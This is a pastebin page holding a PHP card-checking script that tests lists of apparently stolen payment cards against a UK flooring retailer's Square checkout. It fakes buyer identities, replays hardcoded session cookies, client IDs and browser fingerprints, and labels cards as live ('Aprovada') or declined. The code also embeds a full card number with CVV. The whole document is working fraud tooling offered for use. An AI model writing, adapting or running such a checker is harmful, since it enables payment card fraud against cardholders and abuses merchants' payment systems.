View difference between Paste ID: Cse6Hg5g and izNFqMGA
SHOW: | | - or go back to the newest paste.
1
<?php
2
//////////////SQUAREUP RAW BY SKYLAR\\\\\\\\\\\\\\\\\\\\\
3
session_start();
4
error_reporting(0);
5
ini_set('display_errors', 0);
6
function getStr2($string, $start, $end){
7
    $str = explode($start, $string);
8
    $str = explode($end, $str[1]);
9
    return $str[0];
10
}
11
12
if (file_exists(getcwd().('/cookie.txt'))) { 
13
    @unlink('cookie.txt'); 
14
}
15
16
17
18
////////////////////////////===[Randomizing Details Api]
19
20
$get = file_get_contents('https://randomuser.me/api/1.2/?nat=us');
21
preg_match_all("(\"first\":\"(.*)\")siU", $get, $matches1);
22
$name = $matches1[1][0];
23
preg_match_all("(\"last\":\"(.*)\")siU", $get, $matches1);
24
$last = $matches1[1][0];
25
preg_match_all("(\"email\":\"(.*)\")siU", $get, $matches1);
26
$email = $matches1[1][0];
27
preg_match_all("(\"street\":\"(.*)\")siU", $get, $matches1);
28
$street = $matches1[1][0];
29
preg_match_all("(\"city\":\"(.*)\")siU", $get, $matches1);
30
$city = $matches1[1][0];
31
preg_match_all("(\"state\":\"(.*)\")siU", $get, $matches1);
32
$state = $matches1[1][0];
33
preg_match_all("(\"phone\":\"(.*)\")siU", $get, $matches1);
34
$phone = $matches1[1][0];
35
preg_match_all("(\"postcode\":(.*),\")siU", $get, $matches1);
36
$postcode = $matches1[1][0];
37
38
/////////////////////////////////
39
40
////////////////////////
41
42
$lista   = $_GET['lista']; 
43
$explode = explode('|',$lista); 
44
$cc     = $explode[0]; 
45
$mes     = $explode[1];
46
$ano     = $explode[2];
47
$cvv     = $explode[3];
48
$ano = substr($ano, 0, 4);
49
if (strlen($cc) == 16) {
50
    $last4 = substr($cc, 12, 16);
51
} else {
52
    $last4 = substr($cc, 11, 15);
53
}
54
$bin = substr($cc, 0, 8);
55
$last4 = substr($cc, 12, 16);
56
/////////========== 1ST REQ ==============///////////
57
switch ($mes) {
58
  case '01':
59
  $mes = '1';
60
    break;
61
  case '02':
62
  $mes = '2';
63
    break;
64
  case '03':
65
  $mes = '3';
66
    break;
67
  case '04':
68
  $mes = '4';
69
    break;
70
  case '05':
71
  $mes = '5';
72
    break;
73
  case '06':
74
  $mes = '6';
75
    break;
76
  case '07':
77
  $mes = '7';
78
    break;
79
  case '08':
80
  $mes = '8';
81
    break;
82
    case '09':
83
    $mes = '9';
84
    break;
85
}
86
$typo = substr($cc, 0, 1);
87
 if (strpos($typo, '4')) {
88
    $typew = 'VI';
89
    }
90
 elseif (strpos($typo, '5')) {
91
    $typew = 'MC';
92
    }
93
////////////////////////////////////////////////
94
$post = '{"client_id":"sq0idp-44DdJoMjFy9fTcbhVfTDKw","location_id":"YPRFA9B0NPNCZ","session_id":"iKQpWCAj9kBXXgVvouaNVQoFi4A1rLkog7NchS_w4fKHwICY_rDRKz2n4bGbDUpzmAwUdjqvRjTrFot8IGI=","website_url":"https://www.flooringhut.co.uk/","squarejs_version":"27d3bdf1bc","analytics_token":"ZWSHAERBO5QMFU6ZPSURZB7GB47BPK2PATUZG3NJCS67RUOANO4NTXKRPQLI2KI2FDZ4IRULBFJYELZAA772YYWHKZDST5MH","card_data":{"number":"4239929495130929","exp_month":4,"exp_year":2026,"cvv":"181","billing_postal_code":"AS959FF"}}';
95
$ch = curl_init();
96
curl_setopt($ch, CURLOPT_URL, 'https://pci-connect.squareup.com/v2/card-nonce?_=1622802632941.176&version=27d3bdf1bc');
97
curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
98
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
99
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
100
curl_setopt($ch, CURLOPT_HEADER, 0);
101
curl_setopt($ch, CURLOPT_POST, 1);
102
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
103
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
104
'authority: pci-connect.squareup.com',
105
'method: POST',
106
'path: /v2/card-nonce?_=1622802632941.176&version=27d3bdf1bc',
107
'scheme: https',
108
'accept: application/json',
109
'accept-language: en-US,en;q=0.9',
110
'content-type: application/json; charset=UTF-8',
111
'cookie: _savt=9f48ac9e-3f0a-408e-a714-54c44294f634',
112
'origin: https://pci-connect.squareup.com',
113
'referer: https://pci-connect.squareup.com/v2/iframe?type=main&app_id=sq0idp-44DdJoMjFy9fTcbhVfTDKw&host_name=www.flooringhut.co.uk&location_id=YPRFA9B0NPNCZ&version=27d3bdf1bc',
114
'sec-ch-ua-mobile: ?0',
115
'sec-fetch-dest: empty',
116
'sec-fetch-mode: cors',
117
'sec-fetch-site: same-origin',
118
'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36',
119
'x-js-id: undefined'
120
));
121
echo $resulta = curl_exec($ch);
122
$resulta1 = json_decode($resulta, true);
123
$cnon = trim(strip_tags(getStr2($resulta,'"card_nonce":"','"'))); 
124
echo $cnon; 
125
126
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
127
////////////////////////////////////////////////
128
$post = '{"browser_fingerprint_by_version":[{"payload_json":"{\"components\":{\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36\",\"language\":\"en-US\",\"color_depth\":24,\"resolution\":[1536,864],\"available_resolution\":[1474,864],\"timezone_offset\":-330,\"session_storage\":1,\"local_storage\":1,\"open_database\":1,\"cpu_class\":\"unknown\",\"navigator_platform\":\"Win32\",\"do_not_track\":\"unknown\",\"regular_plugins\":[\"Chrome PDF Plugin::Portable Document Format::application/x-google-chrome-pdf~pdf\",\"Chrome PDF Viewer::::application/pdf~pdf\",\"Native Client::::application/x-nacl~,application/x-pnacl~\"],\"adblock\":false,\"has_lied_languages\":false,\"has_lied_resolution\":false,\"has_lied_os\":false,\"has_lied_browser\":false,\"touch_support\":[0,false,false],\"js_fonts\":[\"Arial\",\"Arial Black\",\"Arial Narrow\",\"Book Antiqua\",\"Bookman Old Style\",\"Calibri\",\"Cambria\",\"Cambria Math\",\"Century\",\"Century Gothic\",\"Century Schoolbook\",\"Comic Sans MS\",\"Consolas\",\"Courier\",\"Courier New\",\"Garamond\",\"Georgia\",\"Helvetica\",\"Impact\",\"Lucida Bright\",\"Lucida Calligraphy\",\"Lucida Console\",\"Lucida Fax\",\"Lucida Handwriting\",\"Lucida Sans\",\"Lucida Sans Typewriter\",\"Lucida Sans Unicode\",\"Microsoft Sans Serif\",\"Monotype Corsiva\",\"MS Gothic\",\"MS Outlook\",\"MS PGothic\",\"MS Reference Sans Serif\",\"MS Sans Serif\",\"MS Serif\",\"Palatino Linotype\",\"Segoe Print\",\"Segoe Script\",\"Segoe UI\",\"Segoe UI Light\",\"Segoe UI Semibold\",\"Segoe UI Symbol\",\"Tahoma\",\"Times\",\"Times New Roman\",\"Trebuchet MS\",\"Verdana\",\"Wingdings\",\"Wingdings 2\",\"Wingdings 3\"]},\"fingerprint\":\"19fcdee54dc489b9dbd92ee359e8b521\"}","payload_type":"fingerprint-v1"},{"payload_json":"{\"components\":{\"language\":\"en-US\",\"color_depth\":24,\"resolution\":[1536,864],\"available_resolution\":[1474,864],\"timezone_offset\":-330,\"session_storage\":1,\"local_storage\":1,\"open_database\":1,\"cpu_class\":\"unknown\",\"navigator_platform\":\"Win32\",\"do_not_track\":\"unknown\",\"regular_plugins\":[\"Chrome PDF Plugin::Portable Document Format::application/x-google-chrome-pdf~pdf\",\"Chrome PDF Viewer::::application/pdf~pdf\",\"Native Client::::application/x-nacl~,application/x-pnacl~\"],\"adblock\":false,\"has_lied_languages\":false,\"has_lied_resolution\":false,\"has_lied_os\":false,\"has_lied_browser\":false,\"touch_support\":[0,false,false],\"js_fonts\":[\"Arial\",\"Arial Black\",\"Arial Narrow\",\"Book Antiqua\",\"Bookman Old Style\",\"Calibri\",\"Cambria\",\"Cambria Math\",\"Century\",\"Century Gothic\",\"Century Schoolbook\",\"Comic Sans MS\",\"Consolas\",\"Courier\",\"Courier New\",\"Garamond\",\"Georgia\",\"Helvetica\",\"Impact\",\"Lucida Bright\",\"Lucida Calligraphy\",\"Lucida Console\",\"Lucida Fax\",\"Lucida Handwriting\",\"Lucida Sans\",\"Lucida Sans Typewriter\",\"Lucida Sans Unicode\",\"Microsoft Sans Serif\",\"Monotype Corsiva\",\"MS Gothic\",\"MS Outlook\",\"MS PGothic\",\"MS Reference Sans Serif\",\"MS Sans Serif\",\"MS Serif\",\"Palatino Linotype\",\"Segoe Print\",\"Segoe Script\",\"Segoe UI\",\"Segoe UI Light\",\"Segoe UI Semibold\",\"Segoe UI Symbol\",\"Tahoma\",\"Times\",\"Times New Roman\",\"Trebuchet MS\",\"Verdana\",\"Wingdings\",\"Wingdings 2\",\"Wingdings 3\"]},\"fingerprint\":\"e675a5d2d13511609b7e5a63fdb1f256\"}","payload_type":"fingerprint-v1-sans-ua"}],"browser_profile":{"components":"{\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36\",\"language\":\"en-US\",\"color_depth\":24,\"resolution\":[1536,864],\"available_resolution\":[1474,864],\"timezone_offset\":-330,\"session_storage\":1,\"local_storage\":1,\"open_database\":1,\"cpu_class\":\"unknown\",\"navigator_platform\":\"Win32\",\"do_not_track\":\"unknown\",\"regular_plugins\":[\"Chrome PDF Plugin::Portable Document Format::application/x-google-chrome-pdf~pdf\",\"Chrome PDF Viewer::::application/pdf~pdf\",\"Native Client::::application/x-nacl~,application/x-pnacl~\"],\"adblock\":false,\"has_lied_languages\":false,\"has_lied_resolution\":false,\"has_lied_os\":false,\"has_lied_browser\":false,\"touch_support\":[0,false,false],\"js_fonts\":[\"Arial\",\"Arial Black\",\"Arial Narrow\",\"Book Antiqua\",\"Bookman Old Style\",\"Calibri\",\"Cambria\",\"Cambria Math\",\"Century\",\"Century Gothic\",\"Century Schoolbook\",\"Comic Sans MS\",\"Consolas\",\"Courier\",\"Courier New\",\"Garamond\",\"Georgia\",\"Helvetica\",\"Impact\",\"Lucida Bright\",\"Lucida Calligraphy\",\"Lucida Console\",\"Lucida Fax\",\"Lucida Handwriting\",\"Lucida Sans\",\"Lucida Sans Typewriter\",\"Lucida Sans Unicode\",\"Microsoft Sans Serif\",\"Monotype Corsiva\",\"MS Gothic\",\"MS Outlook\",\"MS PGothic\",\"MS Reference Sans Serif\",\"MS Sans Serif\",\"MS Serif\",\"Palatino Linotype\",\"Segoe Print\",\"Segoe Script\",\"Segoe UI\",\"Segoe UI Light\",\"Segoe UI Semibold\",\"Segoe UI Symbol\",\"Tahoma\",\"Times\",\"Times New Roman\",\"Trebuchet MS\",\"Verdana\",\"Wingdings\",\"Wingdings 2\",\"Wingdings 3\"]}","fingerprint":"19fcdee54dc489b9dbd92ee359e8b521","version":"0f725b5aa454b79bda2c7aac780dfa45ea6a6f5b","website_url":"https://www.flooringhut.co.uk/"},"client_id":"sq0idp-44DdJoMjFy9fTcbhVfTDKw","payment_source":"'.$cnon.'","universal_token":{"token":"YPRFA9B0NPNCZ","type":"UNIT"},"verification_details":{"billing_contact":{"address_lines":["WAyside Lane 6854"],"city":"New York","country":"GB","email":"[email protected]","family_name":"NIce","given_name":"NAme","phone":"2015632564","postal_code":"AS959FF"},"intent":"CHARGE","total":{"amount":9181,"currency":"GBP"}}}';
129
$ch = curl_init();
130
curl_setopt($ch, CURLOPT_URL, 'https://connect.squareup.com/v2/analytics/verifications');
131
curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
132
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
133
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
134
curl_setopt($ch, CURLOPT_HEADER, 0);
135
curl_setopt($ch, CURLOPT_POST, 1);
136
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
137
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
138
'authority: connect.squareup.com',
139
'method: POST',
140
'path: /v2/analytics/verifications',
141
'scheme: https',
142
'accept: */*',
143
'accept-language: en-US,en;q=0.9',
144
'content-type: application/json',
145
'cookie: _savt=9f48ac9e-3f0a-408e-a714-54c44294f634',
146
'origin: https://connect.squareup.com',
147
'referer: https://connect.squareup.com/payments/data/frame.html?referer=https%3A%2F%2Fwww.flooringhut.co.uk%2Fcheckout%2F%23payment',
148
'sec-ch-ua-mobile: ?0',
149
'sec-fetch-dest: empty',
150
'sec-fetch-mode: cors',
151
'sec-fetch-site: same-origin',
152
'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36'
153
));
154
echo $resultb = curl_exec($ch);
155
$resultb1 = json_decode($resultb, true);
156
$verf = trim(strip_tags(getStr2($resultb,'"token":"','"'))); 
157
echo $verf; 
158
159
////////////////////////////////////////////////
160
////////////////////////////////////////////////
161
$post = '{"cartId":"JYlC09CE5xz7gnAXcew75FQlOrScCFD8","billingAddress":{"countryId":"GB","regionCode":"","region":"","street":["WAyside Lane 6854"],"company":"","telephone":"2015632564","fax":"","postcode":"AS959FF","city":"New York","firstname":"NIce","lastname":"NAme","saveInAddressBook":null},"paymentMethod":{"method":"squareup_payment","additional_data":{"cc_cid":"","cc_ss_start_month":"","cc_ss_start_year":"","cc_ss_issue":"","cc_type":"VISA","cc_exp_year":"2026","cc_exp_month":"4","cc_number":"","nonce":"'.$cnon.'","digital_wallet":"NONE","cc_last_4":"0929","buyerVerificationToken":"'.$verf.'","display_form":true}},"email":"[email protected]"}';
162
$ch = curl_init();
163
curl_setopt($ch, CURLOPT_URL, 'https://www.flooringhut.co.uk/rest/fhdomestic/V1/guest-carts/fwiIbJjCkX80SP7H9iZJHPeKbHB6wAAa/payment-information');
164
curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
165
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
166
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
167
curl_setopt($ch, CURLOPT_HEADER, 0);
168
curl_setopt($ch, CURLOPT_POST, 1);
169
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
170
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
171
'authority: www.flooringhut.co.uk',
172
'method: POST',
173
'path: /rest/fhdomestic/V1/guest-carts/JYlC09CE5xz7gnAXcew75FQlOrScCFD8/payment-information',
174
'scheme: https',
175
'accept: */*',
176
'accept-language: en-US,en;q=0.9',
177
'content-type: application/json',
178
'cookie: _ga=GA1.4.879687577.1622574589; _fbp=fb.2.1622574592043.1781157306; apay-session-set=TZE5z0OnAoRAB2g8acqfX4%2FFrkcv46nmBSd5MVieZ6KBY2FgAom6ayqKFtveHj4%3D; __tawkuuid=e::flooringhut.co.uk::hA/EEuGCXS4FRGBvh+kavmXa7Tf5ueVgBEXXEWzmH0dBrFCDVlr2DS/e9tk0cSYE::2; PHPSESSID=plk553oskupgddsvh8krc9obcf; _gid=GA1.4.1003854987.1622802435; form_key=34QSSuNAQ1lQkyKG; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; mage-cache-sessid=true; mage-messages=; recently_viewed_product=%7B%7D; recently_viewed_product_previous=%7B%7D; recently_compared_product=%7B%7D; recently_compared_product_previous=%7B%7D; product_data_storage=%7B%7D; form_key=34QSSuNAQ1lQkyKG; private_content_version=e3c6626209c36f744917fa0128abf5c8; TawkConnectionTime=0; language=en_GB; amazon-pay-connectedAuth=connectedAuth_general; section_data_ids=%7B%22cart%22%3A1622802456%2C%22directory-data%22%3A1622802449%2C%22messages%22%3A1622802612%7D',
179
'origin: https://www.flooringhut.co.uk',
180
'referer: https://www.flooringhut.co.uk/checkout/',
181
'sec-ch-ua-mobile: ?0',
182
'sec-fetch-dest: empty',
183
'sec-fetch-mode: cors',
184
'sec-fetch-site: same-origin',
185
'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36',
186
'x-requested-with: XMLHttpRequest'
187
));
188
echo $resultc = curl_exec($ch);
189
$resultc1 = json_decode($resultc, true);
190
$resp = trim(strip_tags(getStr2($resultc,"<div id='validation_message_2_4' class='gfield_description validation_message' aria-live='polite'>","</div>"))); 
191
echo $resp; 
192
193
////////////////////////////////////////////////
194
195
if (strpos($resultc, "Authorization error: 'ADDRESS_VERIFICATION_FAILURE'")) {
196
  echo '<span class="text-dark">'.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.'</span> <span class="text-info"> [SQUAREUP] [★ WOLFIE ★ ] </span> </span>  <span class="text-succes">#Aprovada</span></span> <span class="text-success"> R:  CVV MATCHED </span></br>';
197
} 
198
199
elseif (strpos($resultc, "Authorization error: 'CVV_FAILURE'")) {
200
201
  echo '<span class="text-dark">'.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.'</span> <span class="text-info"> [SQUAREUP] [★ WOLFIE ★ ] </span> </span>  <span class="text-succes">#Aprovada</span></span> <span class="text-success"> R:  CNN MATCHED </span></br>';
202
203
} 
204
205
elseif (strpos($resultc, "Authorization error: 'GENERIC_DECLINE'")) {
206
  echo '<span class="text-dark">'.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.'</span> <span class="text-info">[SQUAREUP] [★ WOLFIE ★ ]  </span> <span class="text-danger">[SITE CANT MASS CHECK]</span></span> </span> <span class="text-danger"> R: DEAD- SITE CANT MASS CHECK </span></br>';
207
}
208
elseif (strpos($resultc, "Authorization error: 'TRANSACTION_LIMIT'")) {
209
  echo '<span class="text-dark">'.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.'</span> <span class="text-info">[SQUAREUP] [★ WOLFIE ★ ]  </span> <span class="text-danger">[TRANSACTION NOT ALLOWED]#Aprovada</span></span> </span> <span class="text-danger"> R: CVV MATCHED '.$reason.' </span></br>';
210
}
211
else {
212
  echo '<span class="text-dark">'.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.'</span> <span class="text-info">[SQUAREUP] [★ WOLFIE ★ ]  </span> <span class="text-danger">[#Declined]</span></span> </span> <span class="text-danger"> R:  DECLINED </span></br>';
213
}
214
215
curl_close($ch);
216
217
ob_flush();
218
//////////////SQUAREUP RAW BY SKYLAR\\\\\\\\\\\\\\\\\\\\\
219
220
?>
221
222